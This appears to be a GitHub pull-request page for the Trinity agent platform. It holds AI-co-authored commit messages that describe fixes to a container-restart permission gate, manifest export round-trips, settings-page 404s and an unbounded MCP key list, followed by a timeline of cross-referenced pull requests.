would turn the next typo into a silent Mock. ## POST /{name}/restart is creator-gated It was bare `get_current_user` — below `POST /deploy` and below even the READ-ONLY bundled-catalog routes — so any authenticated principal, including `role: user`, could stop and start every container in a system whose agents it could see. A mutating fleet-wide verb under a lighter gate than the catalog it reads is an oversight, not a decision. `require_role` also rejects agent principals (#1890), which matters because an agent-scoped MCP key resolves to its owner carrying the owner's role. ## Export round-trips The non-full-mesh permissions branch sliced `target_agent[len(name)+1:]` with no membership filter — the sibling branch had one — so an edge pointing outside the system exported as a blind-sliced garbage short name that then failed `validate_manifest`'s unknown-agent check on re-deploy. The export broke its own round trip. Both branches now test membership. And the export no longer embeds the instance-global `trinity_prompt` as the manifest's `prompt:`. Deploying that manifest elsewhere overwrote THAT instance's platform-wide prompt — a fleet-wide side effect from what reads like a copy of one system. Nothing records whether the source system ever set a prompt, so there is no honest way to distinguish it from whatever the instance happens to have configured, and the only correct export of an unknown is to omit it. ## Two preview hardenings Unknown PER-AGENT keys now warn like top-level ones (ent#126): `credentials:`, `skills:` and `display_label:` are the fields people try first and they vanished in silence. Preview and deploy now resolve the identical resource default. Deploy hardcoded `{"cpu": "2", "memory": "4g"}` while `_preflight_template` validated against the admin-configurable `get_agent_default_resources()`, so the two disagreed the moment an admin moved the fleet default — the one spot that escaped ent#126's pure-resolver no-drift pattern. ## Verification 14 unit tests, one per defect plus the exempt shapes. Two mutation-checked: the restart gate and the tag-first membership each turn a test red when reverted. 414 pass across the system/manifest/ent#126/#1884 suites. `tests/test_systems.py` is live-backend tier and…

#2202) Two papercuts found together, on the one page a 31-page sweep flagged as the only source of a page-level console error — and it produced one on every tab. **The 404.** Settings read `public_chat_url` through the generic `GET /api/settings/{key}`, which answers 404 for a key nobody has written. The store already treated 404 as "unset", so nothing was broken; what was lost was the signal — a real failure on that call looked exactly like the ordinary case — and no client-side handling can suppress the browser's own network log, which is why the fix is a route and not a try/catch. `GET /api/settings/public-chat-url` answers 200 with `value: null` when unset, following the `/mcp-url` precedent: a named route for a named setting, declared above `/{key}` (Invariant #4). The generic route's 404 is deliberately unchanged — it is the documented contract for every other key and is read outside this repo. Writing the spec found a SECOND key with the same defect, unnamed in the issue: `platform_default_model`, 404ing eight times per Settings load. It needed no new route — `/api/settings/feature-flags` already carries the resolved value — so the page now reads it from there, which is also more correct: the control shows what the platform will actually use instead of blank. **The unbounded list.** MCP Keys rendered every key an instance had ever minted: measured 306, of which 294 revoked (96%), ~71KB of DOM text, no filter, no bound. Agent keys accumulate structurally — one per agent, one per #1854 rotation, one per ephemeral ghost — so the page grows for the life of the instance and the 12 keys that still work are buried in the 294 that do not. Revoked keys are now hidden behind an explicit toggle that STATES the count, the list is searchable by name/prefix/agent, and rendering is bounded at 25 rows with a "Show more". The rules are pure (`utils/mcpKeyList.js`) because vitest runs `environment: 'node'`; the non-admin agent-key filter is carried through unchanged and asserted, since it is an access rule wearing a filter's clothes. Three empties, three next actions — "No API keys" was a lie to an operator holding 294 revoked ones — but ONE piece of chrome: the wording is computed and only the action row branches, because three copies of the markup would have tripled this file's palette-class count. The new controls are built from the Base* primitives (#2122), and the two container borders they need are paid for by converting the create form's hand-rolled name input and description textarea to `BaseInput`/`BaseTextarea` in the same component: `McpKeysTab.vue` raw_gray 97 -> 83. Baseline edited by hand, not regenerated. Verified against a local dev instance (a key created and revoked to exercise the toggle, removed afterwards): every tab loads with zero 404s and zero console errors, the list renders 2 of 3 keys with "Show revoked (1)" and "2 active", the toggle reveals the revoked row while staying bounded, search narrows to a named empty state that offers the way back, and the converted create form renders and binds in both themes. Red without the fix on both halves. Frontend unit suite 134 files / 2949 tests green. Fixes #2202 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01Q19uRCksdn4DiRAJ55rfpZ

vybe merged commit b288d11 into Abilityai:main Jan 7, 2026

dolho mentioned this pull request Apr 14, 2026

feat(audit): platform audit trail Phase 1 + lifecycle smoke test (#20) #331

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vybe mentioned this pull request Apr 20, 2026

Config Validation: 6 critical config issues found #414

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docs(announcements): workshop #3 recording + #4 starting soon

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Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

vybe mentioned this pull request Apr 22, 2026

Architecture Validation: 4 critical violations found (2026-04-22) #447

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docs(announcements): workshop #4 recording — 3 AI agents run the dev …

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Config Validation: 5 critical config issues found (stale Auth0, missing SMTP/SENDGRID/FRONTEND_URL, dead AUDIT_URL) #481

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kinthaiofficial mentioned this pull request Apr 28, 2026

feat: agent-authoritative execution state machine with single-writer projection (RELIABILITY-005) #524

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pavshulin mentioned this pull request May 1, 2026

fix(slack): replace slackify-markdown with own renderer (#293) #622

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fix(security): lock down Redis — auth + ACL + network split (#589) #643

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fix: Architecture invariant — model centralization (INV-14) + doc-drift (INV-7→#1309, INV-8→#1310 split out) #654

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feat: per-schedule and per-playbook execution analytics — duration, token, and tool call distributions #868

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obasilakis mentioned this pull request May 25, 2026

refactor(#921): close watchdog race agent-side; -336 LOC #934

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vybe mentioned this pull request May 26, 2026

decision: Celery vs APScheduler+PG job store for distributed scheduling #949

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dolho mentioned this pull request May 27, 2026

feat(enterprise): audit log dashboard + entitlement seam (#941, #847) #910

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This was referenced May 28, 2026

fix(deploy): populate build provenance on dev (#958) #968

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fix(base-image): stop appending to .gitignore from startup.sh (#953) #978

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feat(canvas): the open canvas is shared context for the turn (ent#555) #2628

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fix(subscriptions): a pull-dispatched terminal triggers SUB-003 (#2643) #2651

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vybe mentioned this pull request Sep 9, 2026

feat(pull): async fan-out join + sync edge adapter — no autonomous trigger is stranded (#2524) #2532

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dolho mentioned this pull request Sep 14, 2026

fix(settings): load Settings without a 404, and bound the MCP key list (#2202) #2784

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fix(db): agent_sync_state ints are bounded at their own column's ceiling — git_dir_bytes BIGINT (#2800), int4 coercion (#2827) #2805

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feat(tests): J10 journey — agents call each other through the MCP server with their own keys (#2349) #2809

Merged

vybe mentioned this pull request Sep 15, 2026

fix(session): one platform credential, one 401 verdict, one handler (#2791) #2811

Merged

8 tasks

This was referenced Sep 17, 2026

fix(subscriptions): read the utilization header as a fraction, past 1.0 too (#2419) #2864

Merged

_parse_utilization reads a >1.0 fraction as an already-percent value — an overage subscription would display and rank as ~1% #2419

Closed

dolho mentioned this pull request Sep 18, 2026

fix(tests): run-full.sh reaches the api/standalone/postgres tiers again; an unreached tier fails the run (#2888) #2893

Merged

vybe mentioned this pull request Sep 20, 2026

feat(systems): the public half of system teardown — a structured membership read, a license-blind MCP proxy, and a gated remove panel (abilityai/trinity-enterprise#454) #2756

Merged

dolho mentioned this pull request Sep 21, 2026

feat(workspace): the role card in Agent details — role, objectives with metric freshness, readiness (abilityai/trinity-enterprise#527) #2927

Merged

6 tasks

This was referenced Sep 21, 2026

fix(compat): a fresh install's first agent stops reporting must-fix findings from Trinity's own starters (#2899) #2929

Merged

fix(pull): classify retry like the run it retries (#2845) #2980

Merged

dolho mentioned this pull request Sep 23, 2026

feat(workspace): the autonomy dial — what a companion may do unprompted (ent#641) #2984

Open

vybe mentioned this pull request Sep 23, 2026

bug(agents): start_agent drops skills_injection/skills_result at the API boundary — skill-delivery failures are invisible to REST and MCP callers #2991

Open

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fix: add missing logging_config.py to backend Dockerfile - #4

fix: add missing logging_config.py to backend Dockerfile#4
vybe merged 1 commit into
Abilityai:mainfrom
webmixgamer:fix/dockerfile-logging-config-clean

webmixgamer commented Jan 6, 2026

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webmixgamer commented Jan 6, 2026

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